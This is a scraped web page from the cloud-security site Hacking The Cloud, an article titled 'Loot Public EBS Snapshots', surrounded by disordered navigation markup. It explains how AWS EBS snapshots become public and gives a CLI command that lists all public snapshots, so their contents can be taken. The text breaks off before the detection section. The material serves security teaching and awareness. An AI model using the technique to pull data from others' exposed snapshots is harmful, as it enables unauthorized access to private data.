class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#making-them-public class=md-nav__link> <span class=md-ellipsis> Making them Public </span> </a> </li> <li class=md-nav__item> <a href=#finding-exposed-snapshots class=md-nav__link> <span class=md-ellipsis> Finding Exposed Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/loot_public_ebs_snapshots.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Loot Public EBS Snapshots</h1> <p>For EC2 instances, files and data are typically stored in <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html>Elastic Block Store</a> (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html>snapshots</a> of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.</p> <h2 id=making-them-public>Making them Public<a class=headerlink href=#making-them-public title="Permanent link">&para;</a></h2> <p>EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.</p> <p><a class=glightbox href=../../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="EBS Snapshot availability setting page" src=../../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png></a></p> <h2 id=finding-exposed-snapshots>Finding Exposed Snapshots<a class=headerlink href=#finding-exposed-snapshots title="Permanent link">&para;</a></h2> <p>A lot of instances of resource exposure (and subsequent <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >exploitation</a>) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to <a href=https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/ >vulnerabilities in AWS services</a> themselves).</p> <p>A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select <code>Public snapshots</code> from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).</p> <p><a class=glightbox href=../../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the public snapshot list in the AWS console" src=../../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png></a></p> <p>To pull this list in an easily consumable format you can use the following CLI command:</p> <div class=highlight><pre><span></span><code>aws ec2 describe-snapshots --restorable-by-user-ids all
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#making-them-public class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Loot Public EBS Snapshots </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#making-them-public class=md-nav__link> <span class=md-ellipsis> Making them Public </span> </a> </li> <li class=md-nav__item> <a href=#finding-exposed-snapshots class=md-nav__link> <span class=md-ellipsis> Finding Exposed Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul 